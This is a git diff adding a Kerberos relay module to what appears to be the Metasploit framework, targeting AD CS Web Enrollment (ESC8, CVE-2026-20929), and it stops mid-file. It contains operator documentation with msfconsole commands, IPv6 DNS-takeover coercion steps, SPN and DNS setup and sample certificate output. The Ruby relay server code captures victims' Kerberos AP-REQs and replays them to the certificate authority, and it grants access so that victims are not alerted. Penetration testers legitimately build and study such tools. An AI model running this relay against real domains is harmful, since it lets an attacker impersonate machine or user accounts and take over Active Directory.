diff --git a/documentation/modules/auxiliary/server/relay/esc8_kerberos.md b/documentation/modules/auxiliary/server/relay/esc8_kerberos.md new file mode 100644 index 0000000000000..2969f8fd3de51 --- /dev/null +++ b/documentation/modules/auxiliary/server/relay/esc8_kerberos.md @@ -0,0 +1,314 @@ +## Vulnerable Application + +This module creates an SMB server and relays the **Kerberos** authentication it +captures to an AD CS HTTP(S) Web Enrollment (ESC8) endpoint, then requests a +certificate on behalf of the coerced principal. It is the Kerberos counterpart +to `auxiliary/server/relay/esc8` (which relays NTLM): instead of an NTLM +NTLMSSP exchange, it extracts the Kerberos AP-REQ from the SPNEGO blob a victim +sends to the SMB server and replays it to the CA over HTTP `Authorization: +Negotiate`. + +Because a Kerberos service ticket is bound to a specific service principal name +(SPN), the victim must be coerced into authenticating to a name whose SPN the +attacker can relay. This is done with a DNS-takeover coercion module (see the +Scenarios section), which is the technique described in CVE-2026-20929: an +IPv6 DNS takeover (rogue DHCPv6 or Router Advertisement) hands the attacker as +the victim's DNS server, and a CNAME record steers the victim's connection to +the attacker's SMB server while the ticket is still issued for the target SPN. + +Unlike NTLM relay, the AP-REQ is encrypted, so the authenticating identity is +not visible on the wire. The operator supplies the coerced principal via +`RELAY_IDENTITY` so the module can pick the correct certificate template and +label its output. + +## Verification Steps + +This module is the relay half of a two-part technique and is normally paired +with a coercion module. For the full end-to-end setup see the Scenarios section. + +1. Configure an ESC8-vulnerable host (AD CS with HTTP Web Enrollment enabled) + * See https://docs.metasploit.com/docs/pentesting/active-directory/ad-certificates/overview.html#setting-up-a-esc8-vulnerable-host +2. Start `msfconsole` +3. Do: `use auxiliary/server/relay/esc8_kerberos` +4. Set `RHOSTS` to the AD CS Web Enrollment server +5. Set `RELAY_IDENTITY` to the principal you will coerce, in `DOMAIN\HOST$` form (for example `AD\WIN-VICTIM$`) +6. Run the module and, in parallel, coerce the victim (see Scenarios) +7. Wait for the Kerberos AP-REQ to be relayed and a certificate to be issued + +## Lab environment used to validate this module + +The relay half of this technique was validated against the following setup. The +values are examples; substitute your own domain, hosts and addresses. + +### Domain controller and AD CS + +* Windows Server 2022, single domain `ad.example.com` (NetBIOS `AD`). +* The `Active Directory Certificate Services` role with the `Certificate + Authority` and `Certificate Authority Web Enrollment` role services. Web + Enrollment is what publishes the `/certsrv/` endpoint this module relays to. +* The CA and the KDC on the same host is fine. The coercion introduces a new + name rather than poisoning an existing one, so the victim keeps reaching the + KDC while its service connection is steered to the attacker. +* No registry changes were required. ESC8 relies on the default HTTP Web + Enrollment endpoint being reachable without Extended Protection for + Authentication (channel binding); `SSL false` (the default) targets that HTTP + endpoint. If Web Enrollment is only bound to HTTPS in your environment, set + `SSL true` and `RPORT 443`, noting that EPA may then reject the relayed ticket. + +### Certificate template + +* The `Machine` template published on the CA (`Certificate Templates` console -> + the CA's `Certificate Templates` -> `New` -> `Certificate Template to Issue`). +* The account you coerce must have `Enroll` on that template. For a machine + account coercion, grant the victim computer object (for example `WIN-VICTIM$`) + Read and Enroll on the `Machine` template. The default `Machine` template + builds its subject from Active Directory, so the certificate is issued to the + authenticated machine account regardless of the CSR subject. + +### SPN and DNS records for the coerced name + +The victim only sends a Kerberos AP-REQ if it requests a service ticket for a +name whose SPN exists and whose DNS record points at the attacker. Two ways to +arrange that: + +* Native coercion (the intended workflow): the paired DNS-takeover module + answers for the target domain and returns a `CNAME` (`RELAY_CNAME`) that steers + the victim onto a name the attacker serves, while the ticket is still minted + for the real target SPN. See the Scenarios section. +* Manual decoy for a controlled lab test: create a name, point it at the + attacker, and register a matching SPN so a ticket is issued for it. From the + DC, as a domain admin: + +``` +# DNS: point a decoy name at the attacker box running this module +Add-DnsServerResourceRecordA -ZoneName ad.example.com -Name relaytest -IPv4Address 192.0.2.50 + +# SPN: register the CIFS SPN for that name on the coerced account (here the +# victim machine account), so its ticket names the decoy +setspn -s CIFS/relaytest.ad.example.com WIN-VICTIM$ +``` + +### Coercing the machine account + +Machine-account Kerberos is what this module relays, so trigger the connection +from a context that holds the machine account's TGT. Running as +`NT AUTHORITY\SYSTEM` on the victim does this: + +``` +# in a cmd/powershell running as SYSTEM on the victim (e.g. via PsExec -s or a +# SYSTEM scheduled task), touch the decoy over SMB: +net use \\relaytest.ad.example.com\ipc$ +``` + +That sends an SMB2 SessionSetup carrying a Kerberos AP-REQ as `WIN-VICTIM$`. A +`net use` from an interactive administrator session instead authenticates as +that user and, without a usable service ticket for the name, can fall back to +NTLM, so use the SYSTEM (machine-account) context for a reliable machine-account +relay. A SYSTEM scheduled task (`schtasks /ru SYSTEM`) is a convenient headless +trigger. + +## Full module options + +Real output of `show options` for the module (defaults shown, with the coercion +values from the Scenarios set): + +``` +msf auxiliary(server/relay/esc8_kerberos) > set RHOSTS ca.ad.example.com +msf auxiliary(server/relay/esc8_kerberos) > set RELAY_IDENTITY AD\WIN-VICTIM$ +msf auxiliary(server/relay/esc8_kerberos) > set MODE SPECIFIC_TEMPLATE +msf auxiliary(server/relay/esc8_kerberos) > set CERT_TEMPLATE Machine +msf auxiliary(server/relay/esc8_kerberos) > options + +Module options (auxiliary/server/relay/esc8_kerberos): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + ADD_CERT_APP_POLICY no Add certificate application policy OIDs + ALT_DNS no Alternative certificate DNS + ALT_SID no Alternative object SID + ALT_UPN no Alternative certificate UPN (format: USER@DOMAIN) + CERT_TEMPLATE Machine no The template to issue if MODE is SPECIFIC_TEMPLATE. + MODE SPECIFIC_TEMPLATE yes The issue mode. (Accepted: ALL, AUTO, QUERY_ONLY, SPECIFIC_TEMPLATE) + ON_BEHALF_OF no Username to request on behalf of (format: DOMAIN\USER) + PFX no Certificate to request on behalf of + RELAY_IDENTITY AD\WIN-VICTIM$ yes The coerced principal being relayed, as DOMAIN\HOST$ or HOST$@realm. + RELAY_TIMEOUT 25 yes Seconds that the relay socket will wait for a response after the client has initiated communication. + RHOSTS ca.ad.example.com yes Target address range or CIDR identifier to relay to + RPORT 80 yes The target port (TCP) + SMBDomain WORKGROUP yes The domain name used during SMB exchange. + SRVHOST :: yes The local host or network interface to listen on. + SRVPORT 445 yes The local port to listen on. + SSL false no Negotiate SSL/TLS for outgoing connections + TARGETURI /certsrv/ yes The URI for the cert server. + +Auxiliary action: + + Name Description + ---- ----------- + Relay Run SMB ESC8 Kerberos relay server +``` + +## Options + +### MODE + +The issue mode. Controls what the module does once the relayed connection to +the Web Enrollment server is authenticated. Must be one of: + +* ALL: Enumerate all available certificate templates and issue each of them. +* AUTO: Automatically select the `User` or `Machine`/`DomainController` template + based on whether the coerced `RELAY_IDENTITY` is a user or a machine account + (machine accounts end in `$`). +* QUERY_ONLY: Enumerate available certificate templates but do not issue any. +* SPECIFIC_TEMPLATE: Issue only the template named in `CERT_TEMPLATE`. + +### CERT_TEMPLATE + +The template to issue when `MODE` is `SPECIFIC_TEMPLATE` (for example `Machine` +or `User`). + +### RELAY_IDENTITY + +The Kerberos principal you are coercing. Give it in `DOMAIN\HOST$` form (for +example `AD\WIN-VICTIM$`, or `AD\labuser` for a user); the UPN form +`HOST$@realm` (for example `WIN-VICTIM$@ad.example.com`) is also accepted and is +converted internally. Because the relayed AP-REQ is encrypted, this identity is +not recoverable from the wire; the module uses it to choose the certificate +template (in `AUTO` mode) and to label its output. It does not need to match a +password or key. + +A machine account must keep its trailing `$` (`AD\WIN-VICTIM$`), since that is +how `AUTO` mode tells a machine account from a user and how the CSR subject is +built. + +`RHOSTS` is the AD CS Web Enrollment host to relay to, and the module listens for +the coerced Kerberos authentication on the SMB port (`SRVPORT`, default 445). + +## Scenarios + +The technique has two halves running at the same time: this relay server, and a +coercion module that (a) makes the victim use the attacker as its DNS server and +(b) steers the victim's connection to the attacker while the Kerberos ticket is +still minted for the real target SPN. + +### Full coerce-to-certificate flow (native IPv6 DNS takeover) + +Terminal 1 - start the relay server: + +``` +msf > use auxiliary/server/relay/esc8_kerberos +msf auxiliary(server/relay/esc8_kerberos) > set RHOSTS ca.ad.example.com +msf auxiliary(server/relay/esc8_kerberos) > set RELAY_IDENTITY AD\WIN-VICTIM$ +msf auxiliary(server/relay/esc8_kerberos) > set MODE SPECIFIC_TEMPLATE +msf auxiliary(server/relay/esc8_kerberos) > set CERT_TEMPLATE Machine +msf auxiliary(server/relay/esc8_kerberos) > run +[*] Auxiliary module running as background job 0. +[*] SMB Server is running. Listening on :::445 +``` + +Terminal 2 - coerce the victim with the native IPv6 DNS takeover (either the +DHCPv6 or the Router Advertisement module): + +``` +msf > use auxiliary/spoof/ipv6/ipv6_ra_dns_takeover +msf auxiliary(spoof/ipv6/ipv6_ra_dns_takeover) > set TARGET_DOMAIN ad.example.com +msf auxiliary(spoof/ipv6/ipv6_ra_dns_takeover) > set SPOOF_IP6 dead:beef::5 +msf auxiliary(spoof/ipv6/ipv6_ra_dns_takeover) > set RELAY_CNAME attacker.ad.example.com +msf auxiliary(spoof/ipv6/ipv6_ra_dns_takeover) > run +``` + +Real output of `show options` for the coercion module (the Router Advertisement +variant; the DHCPv6 module takes the same `TARGET_DOMAIN`/`SPOOF_IP6`/ +`RELAY_CNAME`): + +``` +Module options (auxiliary/spoof/ipv6/ipv6_ra_dns_takeover): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + ADVERTISE_SEARCH_DOMAIN true yes Advertise TARGET_DOMAIN as a DNS search list (DNSSL) to steer short-name resolution. + BECOME_ROUTER false yes Also advertise as the default router (router lifetime > 0). Off by default for a DNS-only takeover. + INTERFACE eth0 no The name of the interface + RA_INTERVAL 30 yes Seconds between unsolicited Router Advertisements. + RELAY_CNAME attacker.ad.example.com no If set, poisoned names are answered with a CNAME to this name (the DNS-CNAME Kerberos relay trick) instead of a direct address. + RESPOND_TO_SOLICITS true yes Also reply to Router Solicitations with an immediate unicast RA. + SHOST no The source IPv6 address + SMAC no The source MAC address + SPOOF_IP6 dead:beef::5 yes The attacker IPv6 address handed out as the DNS server and returned for poisoned names. + SRVHOST :: yes The local host or network interface to listen on. Defaults to :: to receive the IPv6 DNS queries the victim is steered to send. + SRVPORT 53 yes The local port to listen on. + TARGET_DOMAIN ad.example.com yes The DNS domain to intercept; names under it are poisoned (e.g. ad.example.com). + TARGET_HOSTS no Specific FQDNs to poison (space or semicolon separated). If empty, all names under TARGET_DOMAIN are poisoned. + +Auxiliary action: + + Name Description + ---- ----------- + Service Run the RA/RDNSS and DNS takeover services +``` + +Once the victim resolves the target service through the attacker and +authenticates to the attacker's SMB server, the relay server extracts the +AP-REQ, replays it to the CA, and saves the issued certificate. Output of a +successful `run` for the `AD\WIN-VICTIM$` example above: + +``` +[*] New request from 192.168.64.2 +[*] Relaying Kerberos AP-REQ to http://ca.ad.example.com/certsrv/ +[+] Successfully relayed Kerberos AP-REQ to http://ca.ad.example.com/certsrv/ +[*] Building a certificate signing request for user WIN-VICTIM$ - RSA key size: 2048 - digest algorithm: SHA256 - template: Machine +[*] Submitting the certificate signing request to the target... +[+] Certificate generated using template Machine for AD\WIN-VICTIM$ +[*] Attempting to download the certificate from /certsrv/certnew.cer?ReqID=...& +[*] Certificate stored at: ~/.msf4/loot/..._windows.ad.cs_....pfx +``` + +The resulting `.pfx` can then be used with `auxiliary/admin/kerberos/get_ticket` +(PKINIT) to obtain a TGT for the coerced account. + +### Real capture from a lab run + +The output above is reconstructed from the module's own log strings, so it +lines up with the `AD\WIN-VICTIM$` example rather than requiring a specific +account for every walkthrough. Here is an unedited capture from a real run +against a live domain, using `RELAY_IDENTITY labuser@kerberos.issue` (the UPN +form) with `MODE SPECIFIC_TEMPLATE` and `CERT_TEMPLATE User`, to also exercise +the identity-format handling described under RELAY_IDENTITY above: + +``` +[*] New request from 192.168.64.3 +[*] Relaying Kerberos AP-REQ to http://192.168.64.3:80/certsrv/ +[+] Successfully relayed Kerberos AP-REQ to http://192.168.64.3:80/certsrv/ +[*] Building a certificate signing request for user labuser - RSA key size: 2048 - digest algorithm: SHA256 - template: User +[*] Submitting the certificate signing request to the target... +[+] Certificate generated using template User for kerberos.issue\labuser +[*] Attempting to download the certificate from /certsrv/certnew.cer?ReqID=28& +[*] Certificate stored at: /root/.msf4/loot/20260819121714_default_192.168.64.3_windows.ad.cs_492865.pfx +``` + +The issued certificate, verified with `openssl`: + +``` +subject=DC=issue, DC=kerberos, CN=Users, CN=labuser +issuer=DC=issue, DC=kerberos, CN=kerberos-DC1-CA +X509v3 Subject Alternative Name: + othername: UPN:labuser@kerberos.issue +``` + +## Notes + +* This module supports Kerberos only; for NTLM relay to ESC8 use + `auxiliary/server/relay/esc8`. +* `SRVHOST` defaults to `::` so the relay listens dual-stack. The documented + coercion is an IPv6 DNS takeover, which steers the victim to the attacker + over IPv6; a `0.0.0.0` listener is IPv4-only and would silently never + receive that connection. On Linux and macOS `::` also accepts IPv4, so + A-record (IPv4) coercion still works. On a Windows relay host `::` binds + IPv6-only, so there set `SRVHOST` to the attacker IPv6 the coercion hands + out (`SPOOF_IP6`). The paired coercion module already defaults to `::`. +* The relay is one-shot per coerced authentication: a Kerberos AP-REQ is bound to + the SPN it was issued for, so there is no NTLM-style multi-target challenge loop. +* A full end-to-end run against a live domain requires the CA and the KDC to be + reachable during coercion. When the CA and KDC are the same host, use the + CNAME/passthrough options of the coercion module so the KDC leg stays reachable + while the service connection is hijacked. diff --git a/lib/msf/core/exploit/remote/http_client.rb b/lib/msf/core/exploit/remote/http_client.rb index 506459c2b82d0..435b74f2df725 100644 --- a/lib/msf/core/exploit/remote/http_client.rb +++ b/lib/msf/core/exploit/remote/http_client.rb @@ -423,7 +423,7 @@ def send_request_raw(opts = {}, timeout = 20, disconnect = false) res = c.send_recv(r, actual_timeout) - if c.conn&.respond_to?(:peer_cert) + if c.respond_to?(:conn) && c.conn&.respond_to?(:peer_cert) raw_cert = c.conn.peer_cert if raw_cert raw_chain = c.conn.peer_cert_chain if c.conn.respond_to?(:peer_cert_chain) diff --git a/lib/msf/core/exploit/remote/relay/kerberos/relay_handler.rb b/lib/msf/core/exploit/remote/relay/kerberos/relay_handler.rb new file mode 100644 index 0000000000000..9570424a3e14e --- /dev/null +++ b/lib/msf/core/exploit/remote/relay/kerberos/relay_handler.rb @@ -0,0 +1,65 @@ +# -*- coding: binary -*- +# frozen_string_literal: true + +module Msf + class Exploit + class Remote + module Relay + module Kerberos + # Orchestrates relaying a captured client GSS token to a target for a + # Kerberos relay (CVE-2026-20929). Protocol-agnostic: an SMB or HTTP + # relay server client includes this and supplies the incoming security + # blob; the RubySMB/HTTP plumbing lives in the including class. + # + # This is the Kerberos counterpart to the NTLM server client's + # relay_ntlmssp, but the flow is one-shot. A captured AP-REQ is a + # complete credential, so there is no challenge/response and no + # per-identity target selection: the AP-REQ is cryptographically bound + # to the SPN the attacker coerced the victim to request, so it can only + # be relayed to the service matching that SPN. + # + # The including class must provide a +logger+ responding to + # print_status / print_good / print_warning. + module RelayHandler + # Relay an already-extracted AP-REQ to a target. + # + # This takes the AP-REQ rather than the raw GSS blob so the blob is + # parsed exactly once per authentication attempt. Deciding whether a + # blob is Kerberos at all, and falling through to NTLM when it is + # not, belongs to the caller: use + # {Rex::Proto::Gss::KerberosToken.try_extract_ap_req}, which yields + # the AP-REQ or nil in a single parse. + # + # @param ap_req [String] the captured AP-REQ as DER bytes + # @param client [Target::HTTP::Client] the connected relay target client + # @param target [Object] the relay target descriptor (for logging) + # @param relay_targets [Object, nil] notified via on_relay_end, if given + # @param listener [Object, nil] notified via on_relay_success / on_relay_failure + # @param identity [String, nil] the client principal, if already known + # @return [Msf::Exploit::Remote::Relay::Kerberos::Target::RelayResult, nil] + def relay_kerberos(ap_req, client:, target:, relay_targets: nil, listener: nil, identity: nil) + return nil if ap_req.nil? + + logger.print_status("Relaying Kerberos AP-REQ to #{target}") + + result = client.relay_ap_req(ap_req) + is_success = !result.nil? && result.success == true + relay_targets&.on_relay_end(target, identity: identity, is_success: is_success) + + if is_success + logger.print_good("Successfully relayed Kerberos AP-REQ to #{target}") + listener&.on_relay_success(relay_connection: client, relay_identity: identity) + else + logger.print_warning("Relay of Kerberos AP-REQ to #{target} failed") + listener&.on_relay_failure(relay_connection: client) + client.disconnect! + end + + result + end + end + end + end + end + end +end diff --git a/lib/msf/core/exploit/remote/relay/kerberos/target.rb b/lib/msf/core/exploit/remote/relay/kerberos/target.rb new file mode 100644 index 0000000000000..f8baac1021660 --- /dev/null +++ b/lib/msf/core/exploit/remote/relay/kerberos/target.rb @@ -0,0 +1,39 @@ +# -*- coding: binary -*- +# frozen_string_literal: true + +# Kerberos relay targets (CVE-2026-20929). Mirrors the structure of the NTLM +# relay stack under {Msf::Exploit::Remote::Relay::NTLM::Target}: a relay server +# captures a client's Kerberos AP-REQ and hands it to a target here, which +# replays it to a real service via a per-protocol client. +module Msf::Exploit::Remote::Relay::Kerberos::Target + # The outcome of replaying a captured AP-REQ to a relay target. + # + # @!attribute message + # @return [Object, nil] The target's response (e.g. the HTTP response), if any. + # @!attribute success + # @return [Boolean] Whether the target accepted the relayed AP-REQ. + # @!attribute identity + # @return [String, nil] The authenticated principal, once known (the AP-REQ + # itself carries the identity encrypted, so this is filled in by the target + # flow rather than read from the AP-REQ). + RelayResult = Struct.new(:message, :success, :identity, keyword_init: true) + + # Build the relay target client for a target's protocol, bound to the relay + # server connection. Mirrors the NTLM server client's create_relay_client; + # the single dispatch point new protocols (e.g. LDAP) plug into. + # + # @param provider [Object] the relay server connection (supplies the TLS context) + # @param target [Object] the relay target descriptor (its #protocol selects the client) + # @param logger [Object] receives print_* logging calls + # @param timeout [Integer] send/recv timeout (-1 for the default) + # @return [Object] a per-protocol relay target client + # @raise [ArgumentError] if the target protocol has no Kerberos relay client + def self.create_client(provider, target, logger, timeout) + case target.protocol + when :http, :https + HTTP::Client.create(provider, target, logger, timeout) + else + raise ArgumentError, "unsupported Kerberos relay target protocol: #{target.protocol}" + end + end +end diff --git a/lib/msf/core/exploit/remote/relay/kerberos/target/http/client.rb b/lib/msf/core/exploit/remote/relay/kerberos/target/http/client.rb new file mode 100644 index 0000000000000..2db41be75e649 --- /dev/null +++ b/lib/msf/core/exploit/remote/relay/kerberos/target/http/client.rb @@ -0,0 +1,135 @@ +# -*- coding: binary -*- +# frozen_string_literal: true + +require 'base64' + +module Msf + class Exploit + class Remote + module Relay + module Kerberos + module Target + module HTTP + # HTTP relay target for Kerberos (CVE-2026-20929). Replays a + # captured AP-REQ to a real HTTP service (e.g. AD CS Web Enrollment + # for ESC8) over a SPNEGO Negotiate exchange. + # + # Unlike NTLM, a Kerberos AP-REQ is a complete, self-contained + # credential: there is no challenge/response round-trip, so the + # relay is a single request. On success the connection is left open + # for the calling module to issue authenticated follow-up requests + # (mirroring how the NTLM ESC8 target reuses the relayed connection). + class Client + extend Forwardable + + # Once the AP-REQ has been relayed, the connection is authenticated + # for its lifetime, so the calling module (e.g. the ESC8 target) + # drives follow-up requests through it as if it were an HTTP client. + # send_request_raw('client' => relay_connection) reaches these. + def_delegators :@client, :request_cgi, :request_raw + + # @return [Object] the relay target descriptor (ip/port/path/protocol) + attr_reader :target + + # @param client [Rex::Proto::Http::Client] the connected HTTP client + # @param target [Object] the relay target descriptor + # @param logger [Object, nil] receives print_* logging calls + # @param timeout [Integer] send/recv timeout (-1 for the default) + def initialize(client:, target:, logger: nil, timeout: -1) + @client = client + @target = target + @logger = logger + @timeout = timeout + end + + # Build a target client bound to the relay server connection's TLS + # context, matching the NTLM target factory signature. + def self.create(provider, target, logger, timeout) + http_logger_subscriber = Rex::Proto::Http::HttpLoggerSubscriber.new(logger: logger) + client = Rex::Proto::Http::Client.new( + target.ip, + target.port, + provider.dispatcher.tcp_socket.context, + target.protocol == :https, + subscriber: http_logger_subscriber + ) + + new(client: client, target: target, logger: logger, timeout: timeout) + end + + # Replay a captured AP-REQ to the target's HTTP service. + # + # @param ap_req_der [String] the captured AP-REQ as DER bytes + # @return [Msf::Exploit::Remote::Relay::Kerberos::Target::RelayResult, nil] + # the relay outcome, or nil if no HTTP response was received. + def relay_ap_req(ap_req_der) + security_blob = Rex::Proto::Gss::KerberosToken.build_spnego_ap_req(ap_req_der) + + req = @client.request_raw( + 'method' => 'GET', + 'uri' => @target.path, + 'headers' => { + 'Accept-Encoding' => 'identity', + 'Authorization' => "Negotiate #{Base64.strict_encode64(security_blob)}" + } + ) + res = @client.send_recv(req, @timeout, true) + + if res.nil? + log_error("No HTTP response received from #{@target}") + return nil + end + + Msf::Exploit::Remote::Relay::Kerberos::Target::RelayResult.new( + message: res, + success: successful_status?(res.code) + ) + end + + # Send a follow-up request on the relayed, now-authenticated + # connection. The connection is kept persistent so the + # Kerberos-authed session stays open across the enrollment + # exchange (send_request_raw drives this with 'client' => self). + def send_recv(req, timeout = -1) + @client.send_recv(req, timeout, true) + end + + # The underlying socket of the relayed connection. + # + # This class stands in for a Rex::Proto::Http::Client when it is + # passed to #send_request_raw as 'client', and that method reaches + # for the socket after every request to trace the peer certificate. + # Without this it raises NoMethodError once the relay succeeds. + # + # @return [Rex::Socket, nil] + def conn + @client.conn + end + + def disconnect! + @client.close + end + + protected + + attr_reader :logger + + # Whether an HTTP status code indicates the relayed AP-REQ was + # accepted. Configurable per target, defaulting to any 2xx. + def successful_status?(code) + expected = @target.respond_to?(:protocol_options) ? @target.protocol_options.fetch(:http_status_code, 200..299) : (200..299) + expected.is_a?(Range) ? expected.include?(code) : expected == code + end + + def log_error(msg) + elog(msg) + @logger&.print_error(msg) + end + end + end + end + end + end + end + end +end diff --git a/lib/msf/core/exploit/remote/smb/relay/kerberos/relay_server.rb b/lib/msf/core/exploit/remote/smb/relay/kerberos/relay_server.rb new file mode 100644 index 0000000000000..8236cffdb920d --- /dev/null +++ b/lib/msf/core/exploit/remote/smb/relay/kerberos/relay_server.rb @@ -0,0 +1,167 @@ +# -*- coding: binary -*- +# frozen_string_literal: true + +module Msf::Exploit::Remote::SMB::Relay::Kerberos + # Module-level mixin that runs an SMB server which relays a coerced client's + # Kerberos AP-REQ to a target (CVE-2026-20929). The Kerberos counterpart to + # {Msf::Exploit::Remote::SMB::RelayServer}. + # + # The including module supplies {#relay_targets} and receives on_relay_success + # / on_relay_failure, so the relay server stays decoupled from what is done + # with the authenticated connection (e.g. the ESC8 certificate target). + module RelayServer + include ::Msf::Auxiliary::MultipleTargetHosts + include ::Msf::Exploit::Remote::SocketServer + + def initialize(info = {}) + super + + register_options( + [ + Msf::OptPort.new('SRVPORT', [true, 'The local port to listen on.', 445]), + Msf::OptString.new('SMBDomain', [true, 'The domain name used during SMB exchange.', 'WORKGROUP'], aliases: ['DOMAIN_NAME']), + Msf::OptInt.new('SRV_TIMEOUT', [true, 'Seconds that the server socket will wait for a response after the client has initiated communication.', 25]), + Msf::OptAddressRange.new('RHOSTS', [true, 'Target address range or CIDR identifier to relay to'], aliases: ['SMBHOST', 'RELAY_TARGETS']), + Msf::OptInt.new('RELAY_TIMEOUT', [true, 'Seconds that the relay socket will wait for a response after the client has initiated communication.', 25]) + ], self.class + ) + end + + def smb_logger + log_device = if datastore['VERBOSE'] + Msf::Exploit::Remote::SMB::LogAdapter::LogDevice::Module.new(self) + else + Msf::Exploit::Remote::SMB::LogAdapter::LogDevice::Framework.new(framework) + end + + Msf::Exploit::Remote::SMB::LogAdapter::Logger.new(self, log_device) + end + + # Service-manager wrapper that owns the listening socket and the Kerberos + # relay {Server}. Mirrors {Msf::Exploit::Remote::SMB::RelayServer::SMBRelayServer}. + class KerberosSMBRelayServer + include ::Rex::Proto + + def initialize(options) + @options = options + end + + def alias + super || 'SMB Kerberos Relay Server' + end + + # + # Returns the hardcore alias for the SMB service + # + def self.hardcore_alias(*args) + sock_options = sock_options_for(*args) + "#{sock_options['LocalHost']}#{sock_options['LocalPort']}" + end + + def start + @listener_sock = Rex::Socket::TcpServer.create(sock_options) + @listener_server = Msf::Exploit::Remote::SMB::Relay::Kerberos::Server.new(**smb_server_options(@listener_sock)) + @listener_thread = Rex::ThreadFactory.spawn('SMBKerberosRelayServerListener', false) do + @listener_server.run + rescue StandardError => e + elog(e) + end + end + + def stop + begin + @listener_server.close if @listener_server && !@listener_server.closed? + @listener_thread.kill if @listener_thread + rescue StandardError => e + print_error('Failed closing SMB Kerberos relay server') + elog('Failed closing SMB Kerberos relay server', error: e) + end + + begin + @listener_sock.close if @listener_sock && !@listener_sock.closed? + rescue StandardError => e + print_error('Failed closing SMB Kerberos relay server socket') + elog('Failed closing SMB Kerberos relay server socket', error: e) + end + end + + # + # This method waits on the server listener thread + # + def wait + @listener_thread.join if @listener_thread + end + + attr_accessor :listener_sock, :listener_thread + + def self.sock_options_for(options) + { + 'LocalHost' => '0.0.0.0', + 'LocalPort' => 445 + }.merge(options[:socket]) + end + + private + + def sock_options + self.class.sock_options_for(@options) + end + + def smb_server_options(listener_sock) + { server_sock: listener_sock }.merge(@options[:smb_server]) + end + end + + def start_service(_opts = {}) + # The Kerberos capture path short-circuits before the GSS provider is + # consulted, so this provider only backs the NTLM/anonymous fallback for + # non-Kerberos SessionSetups; access is granted so the coerced client is + # never tipped off by an auth failure. + gss_provider = Msf::Exploit::Remote::SMB::Relay::Provider::AlwaysGrantAccess.new( + default_domain: datastore['SMBDomain'] + ) + gss_provider.dns_domain = datastore['SMBDomain'] + gss_provider.dns_hostname = datastore['SMBDomain'] + gss_provider.netbios_domain = datastore['SMBDomain'] + gss_provider.netbios_hostname = datastore['SMBDomain'] + + comm = _determine_server_comm(bindhost) + @service = Rex::ServiceManager.start( + self.class::KerberosSMBRelayServer, + { + socket: { + 'Comm' => comm, + 'LocalHost' => bindhost, + 'LocalPort' => datastore['SRVPORT'], + 'Server' => true, + 'Timeout' => datastore['SRV_TIMEOUT'], + 'Context' => { + 'Msf' => framework, + 'MsfExploit' => self + } + }, + smb_server: { + gss_provider: gss_provider, + logger: smb_logger, + relay_targets: relay_targets, + listener: self, + relay_timeout: datastore['RELAY_TIMEOUT'], + thread_manager: framework.threads + } + } + ) + print_status("SMB Kerberos relay server is running. Listening on #{Rex::Socket.to_authority(bindhost, datastore['SRVPORT'])}") + @service + rescue Errno::EACCES => e + fail_with(Msf::Module::Failure::BadConfig, "Failed to create the relay server: #{e}") + end + + def relay_targets + raise NotImplementedError, 'the including module must define #relay_targets' + end + + def on_relay_failure(relay_connection:) + # noop + end + end +end diff --git a/lib/msf/core/exploit/remote/smb/relay/kerberos/server.rb b/lib/msf/core/exploit/remote/smb/relay/kerberos/server.rb new file mode 100644 index 0000000000000..c9d1968ff3f02 --- /dev/null +++ b/lib/msf/core/exploit/remote/smb/relay/kerberos/server.rb @@ -0,0 +1,91 @@ +# -*- coding: binary -*- +# frozen_string_literal: true + +module Msf::Exploit::Remote::SMB::Relay::Kerberos + # The SMB server core for a Kerberos relay (CVE-2026-20929). The Kerberos + # counterpart to {Msf::Exploit::Remote::SMB::Relay::NTLM::Server}: it accepts + # incoming SMB connections from coerced hosts and hands each one to a + # {ServerClient}, which captures and relays the client's Kerberos AP-REQ. + class Server < ::RubySMB::Server + # Supported server dialects. SMB 1 is allowed so it can be reported as a + # failure to the user, matching the NTLM relay server. + SUPPORTED_SERVER_DIALECTS = [ + RubySMB::Client::SMB1_DIALECT_SMB1_DEFAULT, + + RubySMB::Client::SMB2_DIALECT_0202, + RubySMB::Client::SMB2_DIALECT_0210, + RubySMB::Client::SMB2_DIALECT_0300, + RubySMB::Client::SMB2_DIALECT_0302 + ].freeze + + # @param relay_timeout [Integer] target send/recv timeout + # @param relay_targets [Msf::Exploit::Remote::Relay::TargetList] the relay targets + # @param listener [Object] receives on_relay_success / on_relay_failure + # @param thread_manager [Object] spawns per-connection threads + def initialize(relay_timeout:, relay_targets:, listener:, thread_manager:, **kwargs) + super(**kwargs) + + @dialects = SUPPORTED_SERVER_DIALECTS + @relay_targets = relay_targets + @relay_timeout = relay_timeout + @listener = listener + @thread_manager = thread_manager + @closed = false + end + + # Accept connections and service each with a Kerberos {ServerClient}. If a + # block is given it is called with each new server client; returning false + # stops the accept loop. + def run(&block) + until closed? + sock = @socket.accept + return if closed? + + server_client = Msf::Exploit::Remote::SMB::Relay::Kerberos::ServerClient.new( + self, + RubySMB::Dispatcher::Socket.new(sock), + relay_targets: @relay_targets, + relay_timeout: @relay_timeout, + listener: @listener + ) + @connections << Connection.new(server_client, @thread_manager.spawn("SMBKerberosRelayServerClient for #{sock.peerinfo}", false, server_client) do |client| + # Resolved before the work block so the closing log line still has it + # even if the peer lookup or the connection itself fails. + ip_address = begin + ::Socket.unpack_sockaddr_in(client.getpeername).last + rescue StandardError + 'unknown' + end + + begin + logger.print_status("New request from #{ip_address}") + logger.info("Starting thread for connection from #{ip_address}") + client.run + rescue StandardError => e + logger.print_error(e.message) + # elog(exception) records only the message; passing it as error: + # keeps the backtrace, without which a failure mid-relay is + # untraceable from the log. + elog("Kerberos relay server client for #{ip_address} raised", error: e) + end + logger.info("Ending thread for connection from #{ip_address}") + end) + + break unless block.nil? || block.call(server_client) + end + end + + def closed? + @closed + end + + def close + @closed = true + @connections.each do |connection| + connection.thread.kill + rescue StandardError => e + elog('Failed to stop SMBKerberosRelayServerClient', error: e) + end + end + end +end diff --git a/lib/msf/core/exploit/remote/smb/relay/kerberos/server_client.rb b/lib/msf/core/exploit/remote/smb/relay/kerberos/server_client.rb new file mode 100644 index 0000000000000..5809d1a80d9a0 --- /dev/null +++ b/lib/msf/core/exploit/remote/smb/relay/kerberos/server_client.rb @@ -0,0 +1,124 @@ +# -*- coding: binary -*- +# frozen_string_literal: true + +module Msf::Exploit::Remote::SMB::Relay::Kerberos + # A single connected SMB client for a Kerberos relay (CVE-2026-20929). The + # Kerberos counterpart to 